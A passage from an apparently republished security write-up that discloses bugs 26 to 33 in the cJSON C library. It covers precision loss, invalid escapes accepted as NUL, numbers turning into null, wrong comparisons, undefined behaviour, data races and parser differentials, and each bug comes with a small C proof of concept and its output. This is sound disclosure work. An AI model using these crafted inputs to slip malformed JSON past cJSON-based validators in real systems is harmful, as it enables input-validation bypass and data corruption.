printf(\"minified  : %s\\n\", doc);\n    printf(\"reparse   : %s\\n\", r ? \"ok\" : \"FAILS while the input parsed fine\");\n    printf(\"also      : %s\", sp);\n    cJSON_Minify(sp);\n    printf(\"  ->  %s\\n\", sp);\n    cJSON_Delete(r);\n    return 0;\n}\ninput     : [\"\\\\\", \"a//b\", 1]\nminified  : [\"\\\\\", \"a\nreparse   : FAILS while the input parsed fine\nalso      : [\"\\\\\", \"keep  these  spaces\"]  ->  [\"\\\\\", \"keepthesespaces\"]\n```\n\nThe document gets truncated into something that no longer parses, in-string whitespace is destroyed, and an in-string `/*…*/`\n\ngets deleted as though it were a comment.\n\n###\nImpact\n\nA minifier that’s meant to preserve semantics alters string contents and truncates documents without a word. That matters if you run `cJSON_Minify()`\n\nbefore forwarding or validating untrusted JSON.\n\n##\nBug number 26 (data loss)\n\n###\nDetails\n\n`print_number()`\n\nprints a double with `%1.15g`\n\nand then checks whether the result round-trips, retrying at 17 significant digits if it doesn’t. The check is where it goes wrong:\n\n```\n/* cJSON.c:626 */\nif ((sscanf((char*)number_buffer, \"%lg\", &test) != 1) || !compare_double((double)test, d))\n```\n\n`compare_double()`\n\nis a *relative* epsilon comparison:\n\n```\n/* cJSON.c:589 */\nstatic cJSON_bool compare_double(double a, double b)\n{\n    double maxVal = fabs(a) > fabs(b) ? fabs(a) : fabs(b);\n    return (fabs(a - b) <= maxVal * DBL_EPSILON);\n}\n```\n\nAt magnitude 9e15 that tolerates an absolute error of around 2.0, so the round-trip check passes when it shouldn’t and the 17-digit retry never happens. The exact-integer case shows it most clearly. `9007199254740991`\n\nis `2^53 - 1`\n\n, exactly representable, and it comes back out as `9007199254740990`\n\n.\n\nAt the very top of the range the epsilon degenerates completely, since `DBL_MAX * DBL_EPSILON`\n\nis itself infinity, which makes `compare_double(inf, DBL_MAX)`\n\ntrue.\n\n###\nProof of Concept\n\n```\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include \"cJSON.h\"\n\nint main(void)\n{\n    cJSON *big = cJSON_Parse(\"1.7976931348623157e308\");   /* exactly DBL_MAX */\n    char *big_text = cJSON_PrintUnformatted(big);\n    cJSON *reparsed = cJSON_Parse(big_text);\n    cJSON *tenths = cJSON_Parse(\"0.30000000000000004\");\n    char *tenths_text = cJSON_PrintUnformatted(tenths);\n\n    printf(\"DBL_MAX printed as %s, re-parses to %g (isinf=%d)\\n\",\n           big_text, cJSON_GetNumberValue(reparsed), isinf(cJSON_GetNumberValue(reparsed)));\n    printf(\"0.30000000000000004 printed as %s\\n\", tenths_text);\n    free(big_text); free(tenths_text);\n    cJSON_Delete(big); cJSON_Delete(reparsed); cJSON_Delete(tenths);\n    return 0;\n}\nDBL_MAX printed as 1.79769313486232e+308, re-parses to inf (isinf=1)\n0.30000000000000004 printed as 0.3\n```\n\nRebuild the same file with an exact test, `((double)test != d)`\n\n, which is what this code used to do, and every case round-trips correctly.\n\n###\nImpact\n\nNumeric data loss on serialisation with nothing to signal it, affecting every caller that prints doubles, and a finite value turning into infinity at the top of the range.\n\n##\nBug number 27 (input validation)\n\n###\nDetails\n\n`parse_hex4()`\n\nreturns `0`\n\nboth for a valid escape of the zero code point and for any invalid hex digit:\n\n```\n/* cJSON.c:686 */\nelse\n{\n    /* invalid */\n    return 0;\n}\n```\n\n`utf16_literal_to_utf8()`\n\nnever verifies that the four characters after `\\u`\n\nwere actually hex, so an invalid escape is indistinguishable from a valid zero and decodes to a NUL byte. Every C-string operation in the library then truncates the string at that byte.\n\nThis is the only hole in what is otherwise a strict escape validator. `\\q`\n\n, `\\-`\n\n, `\\x41`\n\n, `\\u00`\n\nand a bare `\\u`\n\nare all correctly rejected.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include \"cJSON.h\"\n\nint main(void)\n{\n    cJSON *bad = cJSON_Parse(\"\\\"\\\\uZZZZ\\\"\");\n    cJSON *obj = cJSON_Parse(\"{\\\"k\\\":\\\"A\\\\uZZZZB\\\"}\");\n    char *out = cJSON_PrintUnformatted(obj);\n\n    printf(\"\\\"\\\\uZZZZ\\\" parses: IsString=%d strlen=%zu\\n\",\n           cJSON_IsString(bad), strlen(cJSON_GetStringValue(bad)));\n    printf(\"{\\\"k\\\":\\\"A\\\\uZZZZB\\\"} round-trips to %s\\n\", out);\n    free(out);\n    cJSON_Delete(bad); cJSON_Delete(obj);\n    return 0;\n}\n\"\\uZZZZ\" parses: IsString=1 strlen=0\n{\"k\":\"A\\uZZZZB\"} round-trips to {\"k\":\"A\"}\n```\n\nPython’s `json`\n\nmodule rejects both of those inputs.\n\n###\nImpact\n\nInvalid JSON is accepted, the resulting value is truncated, and the return says success. If you’re relying on a successful cJSON parse to reject malformed input, it’ll take the input and hand you back a truncated string.\n\n##\nBug number 28 (type and value corruption)\n\n###\nDetails\n\n`parse_number()`\n\ncalls `strtod()`\n\nand only checks whether any characters were consumed:\n\n``` js\n/* cJSON.c:378 */\nnumber = strtod((const char*)number_c_string, (char**)&after_end);\nif (number_c_string == after_end)\n{\n    goto fail; /* parse_error */\n}\n```\n\n`errno`\n\nisn’t checked and neither is `isinf()`\n\n. A syntactically valid but out-of-range JSON number therefore gets stored as a `cJSON_Number`\n\nwhose `valuedouble`\n\nis infinity, and `print_number()`\n\nexplicitly emits `null`\n\nfor non-finite values.\n\nSo a single parse/print round trip changes both the value *and* the type, no error is signalled anywhere, and `cJSON_IsNumber()`\n\nkeeps returning true throughout, which leaves the caller no way to detect any of it.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include <stdlib.h>\n#include \"cJSON.h\"\n\nint main(void)\n{\n    cJSON *first = cJSON_Parse(\"{\\\"amount\\\":1e999999}\");\n    char *first_text = cJSON_PrintUnformatted(first);\n    cJSON *second = cJSON_Parse(first_text);\n    char *second_text = cJSON_PrintUnformatted(second);\n\n    printf(\"IsNumber=%d valuedouble=%g, re-serializes as %s\\n\",\n           cJSON_IsNumber(cJSON_GetObjectItemCaseSensitive(first, \"amount\")),\n           cJSON_GetNumberValue(cJSON_GetObjectItemCaseSensitive(first, \"amount\")), first_text);\n    printf(\"after a second round trip IsNull=%d / %s\\n\",\n           cJSON_IsNull(cJSON_GetObjectItemCaseSensitive(second, \"amount\")), second_text);\n    free(first_text); free(second_text);\n    cJSON_Delete(first); cJSON_Delete(second);\n    return 0;\n}\nIsNumber=1 valuedouble=inf, re-serializes as {\"amount\":null}\nafter a second round trip IsNull=1 / {\"amount\":null}\n```\n\n`1e-999999`\n\nunderflows to `0`\n\nby the same route, equally quietly.\n\n###\nImpact\n\nA numeric field supplied by an attacker becomes JSON `null`\n\nafter a parse/print round trip, changing both value and type for every downstream consumer that tells the two apart. The output is still syntactically valid JSON, so nothing further down the line has any reason to notice.\n\n##\nBug number 29 (incorrect comparison)\n\n###\nDetails\n\n`cJSON_Compare()`\n\nresolves object members with `get_object_item()`\n\n, which always returns the first match, while the surrounding loop visits every member. So two byte-identical documents that each contain a duplicate key compare unequal.\n\ncJSON’s parser accepts duplicate keys, which the RFC permits, and resolves lookups first-wins. That makes this reachable from any input a remote party controls.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include \"cJSON.h\"\n\nint main(void)\n{\n    cJSON *a = cJSON_Parse(\"{\\\"a\\\":1,\\\"a\\\":2}\");\n    cJSON *b = cJSON_Parse(\"{\\\"a\\\":1,\\\"a\\\":2}\");   /* same bytes, different pointer */\n\n    printf(\"cJSON_Compare(a,b) == %d, expected 1\\n\", cJSON_Compare(a, b, 1));\n    cJSON_Delete(a);\n    cJSON_Delete(b);\n    return 0;\n}\ncJSON_Compare(a,b) == 0, expected 1\n```\n\nComparing one node against itself still returns 1, thanks to a pointer-identity fast path near the top of the function, so you need two distinct trees before you can see this.\n\nThere’s a second and unrelated way to make `cJSON_Compare()`\n\ndisagree with itself. The number branch uses the same `compare_double()`\n\nfrom bug 26, and `fabs(inf - inf)`\n\nis NaN, so two identical infinities compare unequal:\n\n```\ncJSON_Compare(inf, inf) == 0\n```\n\n###\nImpact\n\nEquality comparison returns the wrong answer for attacker-influenced documents.\n\n##\nBug number 30 (undefined behaviour)\n\n###\nDetails\n\n`cJSON_SetValuestring()`\n\ntries to detect overlapping strings:\n\n```\n/* cJSON.c:456 */\n/* return NULL if the object is corrupted or valuestring is NULL */\nif (!(object->type & cJSON_String) || (object->type & cJSON_IsReference) || (object->valuestring == NULL))\n{\n    return NULL;\n}\nif (!( valuestring + v1_len < object->valuestring || object->valuestring + v2_len < valuestring ))\n{\n    return NULL;\n}\n```\n\nRelational comparison of pointers that don’t point into the same object is undefined behaviour. C17 6.5.8p5 only permits `<`\n\nwithin a single array or object. Sanitizers can’t diagnose it and it happens to work on flat-address-space platforms, which is presumably why it’s still sitting there.\n\nIt’s also a functional regression, and that part you can actually observe. It arrived in v1.7.19, and it now refuses legitimate calls: assigning an item’s own `valuestring`\n\nback to itself returns `NULL`\n\n. The existing test only exercises pointers within a single allocation, which is why it sails past this.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include \"cJSON.h\"\n\nint main(void)\n{\n    cJSON *item = cJSON_Parse(\"\\\"abc\\\"\");\n    char *result = cJSON_SetValuestring(item, item->valuestring);\n\n    printf(\"returned %s, valuestring is still \\\"%s\\\"\\n\",\n           (result == NULL) ? \"NULL\" : result, item->valuestring);\n    cJSON_Delete(item);\n    return 0;\n}\nreturned NULL, valuestring is still \"abc\"\n```\n\n###\nImpact\n\nUndefined behaviour, plus a functional regression that shipped in v1.7.19.\n\n##\nBug number 31 (undefined behaviour)\n\n###\nDetails\n\nTwo functions cast a `double`\n\nstraight to `int`\n\n:\n\n``` php\n/* cJSON.c:2524, in cJSON_CreateNumber */\nitem->valueint = (int)num;\n\n/* cJSON.c:428, in cJSON_SetNumberHelper */\nobject->valueint = (int)number;\n```\n\nBoth saturate against `INT_MAX`\n\nand `INT_MIN`\n\nfirst, but NaN fails both comparisons and sails straight through to the cast, which is undefined behaviour.\n\nParsing won’t get you here. `parse_number()`\n\nsaturates, and its accepted-character set never lets the literals `nan`\n\nor `inf`\n\nanywhere near `strtod()`\n\nin the first place. The realistic path runs through your own code. `cJSON_GetNumberValue()`\n\nreturns `NAN`\n\nwhen handed a non-number, so an application that reads a field it assumed was numeric and passes the result straight back gets there in two entirely ordinary-looking calls. Attacker control of the JSON *type* is all it takes.\n\n###\nProof of Concept\n\n```\n#include \"cJSON.h\"\n\nint main(void)\n{\n    cJSON *not_a_number = cJSON_Parse(\"\\\"12\\\"\");\n\n    cJSON_Delete(cJSON_CreateNumber(cJSON_GetNumberValue(not_a_number)));\n    cJSON_Delete(not_a_number);\n    return 0;\n}\ncJSON.c:2524:30: runtime error: nan is outside the range of representable values of type 'int'\n    #0 0x000100f9fc6c in cJSON_CreateNumber cJSON.c:2524\n    #1 0x000100fc9644 in main poc.c:11\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior cJSON.c:2524:30\n```\n\nAnd for the second site:\n\n```\n#include <math.h>\n#include \"cJSON.h\"\n\nint main(void)\n{\n    cJSON *number = cJSON_Parse(\"1\");\n\n    cJSON_SetNumberHelper(number, (double)NAN);\n    cJSON_Delete(number);\n    return 0;\n}\ncJSON.c:428:28: runtime error: nan is outside the range of representable values of type 'int'\n    #0 0x0001002260a0 in cJSON_SetNumberHelper cJSON.c:428\n    #1 0x000100259648 in main poc.c:12\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior cJSON.c:428:28\n```\n\n###\nImpact\n\nUndefined behaviour reachable from ordinary application code operating on attacker-controlled JSON types.\n\n##\nBug number 32 (data race)\n\n###\nDetails\n\n`cJSON_Version()`\n\nformats into a function-local static buffer on every single call:\n\n``` js\n/* cJSON.c:124 */\nCJSON_PUBLIC(const char*) cJSON_Version(void)\n{\n    static char version[15];\n    sprintf(version, \"%i.%i.%i\", CJSON_VERSION_MAJOR, CJSON_VERSION_MINOR, CJSON_VERSION_PATCH);\n\n    return version;\n}\n```\n\nEvery caller shares one mutable buffer and every call rewrites it, so concurrent callers race on it. The contents are constant, which caps how bad this gets, but the write is real enough.\n\nThere’s a bigger instance of the same class right next door. `static error global_error`\n\nis written by *every* parse, and ThreadSanitizer is unambiguous about it:\n\n```\nWARNING: ThreadSanitizer: data race ... Location is global 'global_error'\n  #0 cJSON_ParseWithLengthOpts cJSON.c:1153 / :1154   (also :1220)\n```\n\nThat one is a genuine hazard if you parse on more than one thread, and I can’t see a clean fix that keeps `cJSON_GetErrorPtr()`\n\n’s signature intact.\n\n###\nProof of Concept\n\nDeliberately single-threaded. A racing proof of concept would just be flaky, and the shared address is the actual defect:\n\n``` js\n#include <stdio.h>\n#include \"cJSON.h\"\n\nint main(void)\n{\n    const char *first = cJSON_Version();\n    const char *second = cJSON_Version();\n\n    printf(\"both calls returned the same buffer at %p (first==second: %d, contents \\\"%s\\\")\\n\",\n           (const void *)first, first == second, second);\n    return 0;\n}\nboth calls returned the same buffer at 0x104ad1ac0 (first==second: 1, contents \"1.7.19\")\n```\n\n###\nImpact\n\nData race in two public functions.\n\n##\nBug number 33 (incorrect error reporting)\n\n###\nDetails\n\n`cJSON_ParseWithOpts()`\n\nreports the wrong failure offset. `parse_string()`\n\nadvances its input pointer past the opening quote *before* validating that the quote is actually there, and the failure path derives the reported offset from that already-advanced pointer.\n\nBoth `return_parse_end`\n\nand `cJSON_GetErrorPtr()`\n\ncome out skewed by one.\n\n###\nProof of Concept\n\n``` js\n#include <stdio.h>\n#include \"cJSON.h\"\n\nint main(void)\n{\n    const char *json = \"{xx}\";\n    const char *end = NULL;\n\n    cJSON_ParseWithOpts(json, &end, 0);\n    printf(\"return_parse_end offset %d (remaining \\\"%s\\\"), GetErrorPtr offset %d, expected 1\\n\",\n           (int)(end - json), end, (int)(cJSON_GetErrorPtr() - json));\n    return 0;\n}\nreturn_parse_end offset 2 (remaining \"x}\"), GetErrorPtr offset 2, expected 1\n```\n\n###\nImpact\n\nInaccurate error reporting. No memory-safety consequence, but if you’re logging or rate-limiting on parse-failure position, it’s pointing a byte further along than you think.\n\n##\nParser leniency\n\nEverything in this section is real behaviour that I’m deliberately *not* counting among the 33, because cJSON either documents it or asserts it in its own test suite. It only matters if you’re using cJSON as a validating gatekeeper in front of a stricter parser, in which case these are parser differentials and you should know they’re there.\n\n- Raw control characters below 0x20 are accepted inside strings, which RFC 8259 §7 forbids.\n`tests/parse_string.c:83`\n\nexplicitly asserts this behaviour, so it’s deliberate. - Invalid UTF-8 is accepted and passed straight through, byte for byte. The documentation says so outright.\n`buffer_skip_whitespace()`\n\nskips every byte`<= 32`\n\nrather than just space, tab, CR and LF, so form feed, vertical tab, backspace and even an embedded NUL act as token separators. This one isn’t documented anywhere.- The number grammar isn’t enforced:\n`01`\n\nand`1.`\n\nparse successfully even with`require_null_terminated`\n\n.`.5`\n\n,`+1`\n\n,`1e`\n\nand`0x10`\n\nare correctly rejected, so the gap is specifically leading zeros and a trailing decimal point. - Strings can contain an embedded NUL via an escape for the zero code point, and cJSON stores\nthem as plain C strings. The documentation says embedded NULs are unsupported. The consequence to know about is on the\n*key*side. A member whose name carries an embedded NUL compares equal to its shorter prefix under`strcmp`\n\n, so`cJSON_GetObjectItem()`\n\nmatches it, and the document re-serialises with the name truncated. You end up with a duplicate-key document whose own reader disagrees with every last-wins parser downstream.\n\nRunning the [JSONTestSuite](https://github.com/nst/JSONTestSuite) corpus, 17 of 318 cases still fail. All 17 are over-acceptance; no valid input gets rejected. Ten are the number grammar, three are unescaped control characters, one is the invalid unicode escape from bug 27, two are NUL bytes, and the last is the form feed above.", "url": "https://wpnews.pro/news/vulnerabilities-in-cjson", "canonical_source": "https://joshua.hu/cjson-json-parser-cve-vulnerabilities", "published_at": "2026-07-26 19:52:48+00:00", "updated_at": "2026-07-26 20:22:54.497107+00:00", "lang": "en", "topics": ["ai-tools"], "entities": ["cJSON", "ESP-IDF", "GitHub"], "alternates": {"html": "https://wpnews.pro/news/vulnerabilities-in-cjson", "markdown": "https://wpnews.pro/news/vulnerabilities-in-cjson.md", "text": "https://wpnews.pro/news/vulnerabilities-in-cjson.txt", "jsonld": "https://wpnews.pro/news/vulnerabilities-in-cjson.jsonld"}}